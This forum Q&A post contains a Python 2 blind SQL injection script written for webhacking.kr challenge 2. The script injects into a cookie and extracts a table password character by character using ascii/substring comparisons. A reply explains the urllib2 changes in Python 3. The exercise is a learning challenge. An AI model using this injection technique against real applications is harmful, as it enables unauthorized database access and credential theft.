webhacking.kr Question number 2

Asked 1 years ago, Updated 1 years ago, 84 views

import re, urllib, urllib2 pw=""

my_cookie = "PHPSESSID"

print ("FreeB0aRd password find Start")

for i in range(1, 11):

for j in range(33,126):

    url="http://webhacking.kr/challenge/web/web-02/"

    req = urllib2.Request(url)

    req.add_header('Cookie',"time=1523367313 and (select ascii(substring(password,%d,1)) from FreeB0aRd)=%d; PHPSESSID=%s" %(i,j,my_cookie))

    read = urllib2.urlopen(req).read()

    find = re.findall("<!--2070-01-01 09:00:01-->",read)



    if find:

        pw=pw+chr(j)

        print ("find password: " + pw)

        break

print ("Find password")

print ("FreeB0aRd password is %s" %(pw))

I'm asking you a question because I keep getting errors even though it's a way to solve a problem using this

python webhacking

2022-09-22 19:37

1 Answers

The urlib2 module was divided into urlib.request module or urlib.error module from version 3 of Python. I think we can convert the code to fit Python 3 utility.

See Similar questions posted on stack overflow.


2022-09-22 19:37

If you have any answers or tips


© 2024 OneMinuteCode. All rights reserved.